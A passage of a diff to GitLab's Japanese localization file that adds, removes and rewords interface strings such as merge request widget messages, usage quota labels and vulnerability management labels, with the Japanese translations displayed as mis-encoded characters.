-msgstr "有効ã«ãªã£ã¦ã„るプロジェクトãŒå¤šã™ãŽã¾ã™ã€‚コンソールã¾ãŸã¯APIを使用ã—ã¦ç®¡ç†ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "Too many projects enabled. Manage them through the console or the API."
+msgstr ""
msgid "TopNav|Go back"
msgstr ""
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr "トピック (ä»»æ„)"
-
msgid "Total"
msgstr "åˆè¨ˆ"
@@ -35907,6 +36515,9 @@ msgstr "クイックアクションã§ä½œæ¥­æ™‚間を記録"
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr "フィルターを変更ã—ã¦ã¿ã¦ãã ã•ã„。ã¾ãŸã¯å‰Šé™¤ã—ã¦
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "ã‚‚ã†ä¸€åº¦ãƒ•ã‚©ãƒ¼ã‚¯ã™ã‚‹"
@@ -36331,9 +36948,6 @@ msgstr "差分を読ã¿è¾¼ã‚€ã“ã¨ãŒã§ãã¾ã›ã‚“。%{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "マージリクエストウィジェットをロードã§ãã¾ã›ã‚“。ページをå†èª­ã¿è¾¼ã¿ã—ã¦ãã ã•ã„。"
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr "イテレーションをä¿å­˜ã§ãã¾ã›ã‚“。もã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -36439,6 +37053,9 @@ msgstr "ä¸æ˜Žãªå½¢å¼ã§ã™"
msgid "Unknown response text"
msgstr "応答テキストãŒä¸æ˜Žã§ã™ã€‚"
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr "ã“ã®%{quick_action_target} ã‹ã‚‰é€€ä¼šã—ã¾ã™ã€‚"
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr "ã¾ã§"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr "更新中"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "オブジェクトマップをアップロード"
@@ -36685,9 +37305,6 @@ msgstr "クリックã—ã¦ã‚¢ãƒƒãƒ—ロード"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr "アップロード"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr "稼åƒæ™‚é–“"
msgid "Upvotes"
msgstr "ã„ã„ã­"
-msgid "Usage"
-msgstr "使ã„æ–¹"
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr "LFSオブジェクト"
-
-msgid "UsageQuota|LFS Storage"
-msgstr "LFSストレージ"
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "パッケージ"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr "追加ã®ã®ã‚¹ãƒˆãƒ¬ãƒ¼ã‚¸ã‚’購入"
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr "リãƒã‚¸ãƒˆãƒª"
-
msgid "UsageQuota|Repository"
msgstr "リãƒã‚¸ãƒˆãƒª"
@@ -36823,18 +37434,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "ã“ã®ãƒãƒ¼ãƒ ã‚¹ãƒšãƒ¼ã‚¹ã«ã¯ã€å…±æœ‰ãƒ©ãƒ³ãƒŠãƒ¼ã‚’使用ã™ã‚‹ãƒ—ロジェクトã¯ã‚ã‚Šã¾ã›ã‚“。"
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr "Wiki"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr "アイデンティティ プロãƒã‚¤ãƒ€ãƒ¼ã‚’設定ã™ã‚‹ã®ã«ä½¿ç”¨ã—ã¾ã™"
@@ -37381,9 +37974,6 @@ msgstr "貢献をéžå…¬é–‹ã«ã™ã‚‹"
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr "ユーザå (オプション)"
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr "検証ステータス"
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "検証済ã¿"
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr "文書ã®è¡¨ç¤º"
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr "脆弱性レãƒãƒ¼ãƒˆ"
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr "%{formattedStartDate} ã‹ã‚‰ä»Šæ—¥ã¾ã§"
msgid "VulnerabilityChart|Severity"
msgstr "é‡è¦åº¦"
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr "次ã®ã‚¨ãƒ©ãƒ¼ãŒã‚ã‚Šã¾ã—ãŸã€‚:"
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Runner ãŒãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã„ã‚‹å ´åˆã€ä»–ã®ãƒ—ロジェクトã«å‰²ã‚Šå½“ã¦ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr "URL を空白ã®ã¾ã¾ã«ã™ã‚‹ã¨ã€ãƒ—ロジェクト間ã®æ©Ÿèƒ½ã‚’ç„
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr "作業中(オープンã‹ã¤æœªå‰²ã‚Šå½“ã¦ï¼‰"
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,15 +39625,12 @@ msgstr "ã“ã®å¤‰æ›´ã‚’å…ƒã®ãƒ—ロジェクトã«å映ã•ã›ã‚‹ãŸã‚ã«ãƒžãƒ¼
msgid "You can only %{action} files when you are on a branch"
msgstr ""
+msgid "You can only add up to %{max_contacts} contacts at one time"
+msgstr ""
+
msgid "You can only edit files when you are on a branch"
msgstr "ファイルを編集ã™ã‚‹ã«ã¯ã€ã©ã“ã‹ã®ãƒ–ランãƒã«ã„ãªã‘ã‚Œã°ã„ã‘ã¾ã›ã‚“"
-msgid "You can only merge once the items above are resolved."
-msgstr "上ã®é …ç›®ãŒè§£æ±ºã•ã‚ŒãŸå¾Œã«ã®ã¿ãƒžãƒ¼ã‚¸ã§ãã¾ã™."
-
-msgid "You can only merge once this merge request is approved."
-msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒæ‰¿èªã•ã‚ŒãŸå¾Œã«ã ã‘ã€ãƒžãƒ¼ã‚¸ãŒã§ãã¾ã™ã€‚"
-
msgid "You can only transfer the project to namespaces you manage."
msgstr "プロジェクトã¯è‡ªåˆ†ãŒç®¡ç†ã™ã‚‹åå‰ç©ºé–“ã«ã®ã¿è»¢é€ã§ãã¾ã™ã€‚"
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr "ã“ã®ãƒ•ã‚¡ã‚¤ãƒ«ã«ç›´æŽ¥ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã›ã‚“。ã—ã°ã‚‰ããŠå¾…ã¡ãã ã•ã„。"
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr "ブロックã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã«ãªã‚Šã™ã¾ã™ã“ã¨ã¯ã§ãã¾ã›ã‚“"
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr "æ–°ã—ã„トリガーを作æˆã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "ã‚ãªãŸã«ã¯ã‚µãƒ–スクリプションãŒã‚ã‚Šã¾ã›ã‚“"
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "ã‚ãªãŸã¯ã“ã® %{namespaceType} を離れる許å¯ã‚’å¾—ã¦ã„ã¾ã›ã‚“。"
@@ -39119,6 +39760,10 @@ msgstr "ã‚ãªãŸã¯ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã®ç”Ÿç”£æ€§åˆ†æžã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr "ã‚ãªãŸã¯ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã®ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹æ¨©é™ãŒã‚ã‚Šã¾ã›ã‚“。"
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "ã‚ãªãŸã¯ %{source_link} %{source_type} ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹æ¨©é™ %{access_level} を与ãˆã‚‰ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr "ã‚ãªãŸãŒ @mentioned ã§ã‚³ãƒ¡ãƒ³ãƒˆã•ã‚ŒãŸæ™‚ã®ã¿é€šçŸ¥ã—ã¾ã™
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr "ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¯ç®¡ç†è€…ã«ã‚ˆã‚Šéžæœ‰åŠ¹åŒ–ã•ã‚Œã¾ã—ãŸã€‚
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆãŒãƒ­ãƒƒã‚¯ã•ã‚Œã¾ã—ãŸã€‚"
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "サブスクリプションã®æœ‰åŠ¹æœŸé™ãŒåˆ‡ã‚Œã¾ã—ãŸï¼"
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr "%{created_at_timeago} を追加ã—ã¾ã—ãŸ"
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr "ã™ã¹ã¦ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã« TLS 証明書ãŒãªã„ã¨æœ‰åŠ¹ã«ã§ãã¾ã
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr "変更ã§ãã¾ã›ã‚“"
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr "動的アプリケーションセキュリティテスト (DAST) ã¯ã€ã
msgid "ciReport|Failed to load %{reportName} report"
msgstr "%{reportName} レãƒãƒ¼ãƒˆã®èª­ã¿è¾¼ã¿ã«å¤±æ•—ã—ã¾ã—ãŸ"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr "修正済ã¿:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr "イシューを作æˆã—ã¦ã€ã“ã®è„†å¼±æ€§ã‚’調査ã—ã¾ã™"
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "%{reportName} レãƒãƒ¼ãƒˆã‚’読ã¿è¾¼ã‚“ã§ã„ã¾ã™"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "ライセンスã®ç®¡ç†"
@@ -40111,6 +40768,9 @@ msgstr "セキュリティスキャン"
msgid "ciReport|Security scanning failed loading any results"
msgstr "セキュリティスキャンã¯çµæžœã®èª­ã¿è¾¼ã¿ã«å¤±æ•—ã—ã¾ã—ãŸ"
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "ソリューション"
@@ -40476,21 +41136,9 @@ msgstr "フローをインãƒãƒ¼ãƒˆ"
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr "プロジェクト %{link_to_project}"
@@ -40642,9 +41290,6 @@ msgstr "%{path_lock_user_name} ã«ã‚ˆã£ã¦ %{created_at} ã«ãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã
msgid "log in"
msgstr "ログイン"
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr "マニュアル"
@@ -40673,15 +41318,15 @@ msgstr ""
msgid "most recent deployment"
msgstr "最新ã®ãƒ‡ãƒ—ロイ"
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} 㨠%{mergeCommitCount} ã‚’ %{targetBranch} ã«è¿½åŠ ã™ã‚‹ã€‚"
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} ã‚’ %{targetBranch} ã«è¿½åŠ ã™ã‚‹ã€‚"
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1マージコミット"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "ブランãƒã‚’復元ã™ã‚‹ã‹ã€åˆ¥ã® %{missingBranchName} ブランãƒã‚’使用ã—ã¦ãã ã•ã„"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr "%{metricsLinkStart} メモリ %{metricsLinkEnd} 使用率㌠%{memoryFro
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} メモリ %{metricsLinkEnd} 使用率㯠%{memoryFrom} MB㧠%{emphasisStart} 変化ãªã— %{emphasisEnd}"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr "技術的ãªè² å‚µã‚„脆弱性を追加ã—ã¦ã„ã¾ã™ã‹ï¼Ÿ"
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr "ソースブランãƒã‚’削除"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "デプロイ統計ã¯ç¾åœ¨åˆ©ç”¨ã§ãã¾ã›ã‚“"
@@ -40797,12 +41442,18 @@ msgstr "クローズã—ãªã‹ã£ãŸ"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "メールパッãƒ"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "デプロイ統計ã®ãƒ­ãƒ¼ãƒ‰ã«å¤±æ•—ã—ã¾ã—ãŸ"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr "マージ"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "マージã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
msgid "mrWidget|Merge locally"
msgstr "ローカルã§ãƒžãƒ¼ã‚¸"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "マージ作業者"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr "マージをリクエスト"
msgid "mrWidget|Resolve conflicts"
msgstr "競åˆã‚’解決ã™ã‚‹"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "ã“れらã®ç«¶åˆã‚’解消ã™ã‚‹ã‹ã€ã¾ãŸã¯ã“ã®ãƒªãƒã‚¸ãƒˆãƒªã¸ã®æ›¸ãè¾¼ã¿ã‚¢ã‚¯ã‚»ã‚¹æ¨©ã‚’æŒã¤äººã«ãƒ­ãƒ¼ã‚«ãƒ«ã§ãƒžãƒ¼ã‚¸ã™ã‚‹ã‚ˆã†ä¾é ¼ã™ã‚‹"
-
msgid "mrWidget|Revert"
msgstr "リãƒãƒ¼ãƒˆ"
@@ -40936,9 +41608,6 @@ msgstr "ã“ã®å¤‰æ›´ã¯æ¬¡ã®ãƒ–ランãƒã«ãƒžãƒ¼ã‚¸ã•ã‚Œã¾ã—ãŸ"
msgid "mrWidget|The changes were not merged into"
msgstr "ã“ã®å¤‰æ›´ã¯æ¬¡ã®ãƒ–ランãƒã«ãƒžãƒ¼ã‚¸ã•ã‚Œã¾ã›ã‚“ã§ã—ãŸ"
-msgid "mrWidget|The changes will be merged into"
-msgstr "ã“ã®å¤‰æ›´ã¯æ¬¡ã®ãƒ–ランãƒã«ãƒžãƒ¼ã‚¸ã•ã‚Œã¾ã™"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,37 +41623,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¯å‰Šé™¤ã•ã‚Œã‚ˆã†ã¨ã—ã¦ã„ã¾ã™"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¯å‰Šé™¤ã•ã‚Œã¾ã™"
-
-msgid "mrWidget|The source branch will not be deleted"
